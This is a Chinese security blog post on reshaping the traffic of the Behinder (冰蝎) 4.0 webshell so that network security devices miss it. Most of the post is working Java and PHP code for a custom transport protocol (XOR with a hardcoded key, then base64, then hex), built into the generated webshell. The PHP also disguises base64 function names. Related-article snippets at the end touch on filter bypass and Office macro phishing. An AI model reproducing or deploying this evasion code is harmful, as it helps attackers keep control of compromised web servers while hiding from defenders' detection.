冰蝎流量免杀初探

VSole2022-12-20 09:11:06

0x01 前言

冰蝎4.0发布以后,可以自定义传输协议了,也就是我们能对流量进行改造,本文依据rebeyond大佬文章对冰蝎流量进行改造,记录一下踩过的坑。

https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A

冰蝎传输协议模块

分为本地和远程,其中本地模块只能用java进行编写,远程模块根据webshell的语言类型进行编写,比如java、php、asp,全部编写好后要生成服务端,也就是生成我们自己的webshell,用生成后的webshell进行连接。

借用大佬的图说明一下加解密流程

整体流量加解密流程为先对payload进行base64,再转成十六进制,具体函数往下看。

0x02 加解密过程

1、本地加密函数

private byte[] Encrypt(byte[] data) throws Exception{        //传入一个字节数组data,对data依据key进行按位异或        String key="e45e329feb5d925b";        for (int i = 0; i < data.length; i++) {            data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));        }        //先转换成base64,利用反射调用base64编码        byte[] encrypted = null;        Class baseCls;        try        {            baseCls=Class.forName("java.util.Base64");            Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);            encrypted= (byte[]) Encoder.getClass().getMethod(                    "encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{data});        }        catch (Throwable error)        {            baseCls=Class.forName("sun.misc.BASE64Encoder");            Object Encoder=baseCls.newInstance();            String result=(String) Encoder.getClass().getMethod(                    "encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{data});            result=result.replace("", "").replace("\r", "");            encrypted=result.getBytes();        }
        //再改写成hex,利用DatatypeConverter类的printHexBinary()方法进行转换        Object obj = null;        try{            Class clazz = Class.forName("javax.xml.bind.DatatypeConverter");            /*            这里返回了一个Object类型,虽然encrypted定义的是字节数组,            但是这里传进去的时候不知道为什么报的是Object,所以定义一个Object来接收。            这里用printHexBinary()把base64字符串转成16进制字符串,            printHexBinary()接收一个byte数组,            printHexBinary()是一个静态方法,invoke第一个参数可以传入null,             */            obj = clazz.getDeclaredMethod("printHexBinary",new Class[]{byte[].class}).invoke(null,encrypted);        }catch (Throwable error){            System.out.println(error);        }        //因为要求返回字节数组,所以这里先把Object转成字符串,再转成字节数组,好像不能直接由object转byte        byte[] encrypted_hex = obj.toString().toLowerCase().getBytes();        return encrypted_hex;    }

2、本地解密函数

private byte[] Decrypt(byte[] data) throws Exception    {   //从十六进制转回base64        String decrypted_hex = new String(data);        byte[] decrypted_base = null;        try{            Class clazz = Class.forName("javax.xml.bind.DatatypeConverter");            /*            这里用parseHexBinary()把16进制字符串转回base64字符串            parseHexBinary()接收16进制字符串,转回正常字符串            parseHexBinary()是静态方法,invoke第一个参数可以为空             */            decrypted_base = (byte[])clazz.getDeclaredMethod("parseHexBinary",String.class).invoke(null,decrypted_hex);        }catch (Throwable error){            System.out.println(error);        }
        //从base64转回正常字符串
        byte[] decodebs;        Class baseCls ;        try{            baseCls=Class.forName("java.util.Base64");            Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);            decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{decrypted_base});        }        catch (Throwable e)        {            baseCls = Class.forName("sun.misc.BASE64Decoder");            Object Decoder=baseCls.newInstance();            decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(decrypted_base)});
        }        String key="e45e329feb5d925b";        for (int i = 0; i < decodebs.length; i++) {            decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));        }        return decodebs;    }

可以先看一下本地加密的效果

至此,本地加解密函数完成,下一步我们研究webshell怎么写。因为本文研究流量免杀,webshell的免杀在此处不做讨论。

3、远程加密函数

function Encrypt($data){    $key="e45e329feb5d925b";     for($i=0;$i        $data[$i] = $data[$i]^$key[$i+1&15];     }    $bs="base64_"."encode";    $after=$bs($data."");
    return bin2hex($after);//base64后转16进制}

4、远程解密函数

function Decrypt($data){    $key="e45e329feb5d925b";     $bs="base64_"."decode";    $after=$bs(pack('H*',$data)."");//先解出16进制,再base64解码    for($i=0;$i        $after[$i] = $after[$i]^$key[$i+1&15];     }
    return $after;}

0x03 效果

先生成服务端,生成我们自己的webshell

连接webshell

用burp抓包看一下流量

0x04 总结

本次加解密流程为先base64,再转成16进制字符串。先转成base64主要是为了保护原始payload,以免在从十六进制转回原payload的过程中发生递归解析,将原payload中的十六进制字符串也一并解析了。

本文仅针对冰蝎流量改造进行初步探讨,熟悉一下整个流程,真的要绕流量设备,估计还需要其他的技巧。

字符串函数base64
本作品采用《CC 协议》,转载必须注明作者和本文链接
多次测试后发现确实都相等,确定就是标准的Base64编码。发现与之前的111极为相似。
在渗透或者CTF中,总会有特殊函数被过滤,如'ls、cat、tac'。防火墙将这些函数加入黑名单,我们需要找一些方法来代替,用fuzz给他们替换,就出现了BYpass思路。学习就是先走一回别人的老路,知识点到量才可以开创自己的新路。
蚁剑的小tip
2022-05-26 14:49:12
STATEMENT声明由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。
FortiGuard实验室最近检测到一种用Rust编写的新注入器,它可以注入shellcode并将XWorm引入受害者的环境。虽然Rust在恶意软件开发中相对不常见,但自2019年以来,已经有几个活动采用了这种语言,包括Buer loader、Hive和RansomExx。FortiGuard实验室的分析还显示,2023年5月期间注入器活动显著增加,其中shellcode可以使用Base64编码,
跑起来直接异常了,只能先静态看看从IDA中发现有一些加密的字符串,并且加密字符串后续的操作疑是解密过程结合x64dbg在解密函数开头设置新的运行点可以发现解密的过程就是异或0x1D通过IDA脚本解密出部分xor编码的字符串import?解密出部分字符串,发现有检测windows版本的功能,以及C&C深入分析 二进制代码中有大量的mov操作,以及利用try catch的混淆手段扰乱着代码块,静态看起来比较复杂。,但下断点后发现在反调试之前就已经异常了。
分析某app的密码加密
2022-03-04 22:10:31
) & 0x7F)) 的值:这个ch_hex_map才是最终异或的映射表,打印一下结果:这不完全对应上了吗?总结:1、计算明文加密好的长度+1填充0x1;2、分组rsa pkcs1v5加密 之后并与128位码表异或;3、base64,注意编码顺序;后面也是登陆成功了。
首先使用jadx对apk进行逆向。?搜索关键字 QDSign,可以直接找到对应的类,可以看到参数经过加密得到。??进一步跟踪,发现了c类中有如下三个so方法,还有3个loadlibrary,分别进行了hook,发现c-lib动态注册了sign,sos动态注册了s,没有发现crypto有动态注册。
概述最近log4j爆出重大安全漏洞CVE-2021-44228。在观测了一系列利用log4shell攻击的活动后,安全研究人员捕获了一批新样本,其中包括StealthLoader。获取了setup.exe,并且下载到两个地方,然后创建进程。
根据多次项目实战中发现,office宏仍然是最高的成功率,在静默钓鱼中也是最不容易触发人员的警觉。因为大部分员工即使有安全意识,也是不运行陌生的exe程序,但是对于word文档则没有足够的安全意识,认为word文档都是安全的。正是基于此心理状态,office宏在钓鱼中仍然占据重要成分。
0x01 介绍根据多次项目实战中发现,office宏仍然是最高的成功率,在静默钓鱼中也是最不容易触发人员的警觉。因为大部分员工即使有安全意识,也是不运行陌生的exe程序,但是对于word文档则没有足够的安全意识,认为word文档都是安全的。
VSole
网络安全专家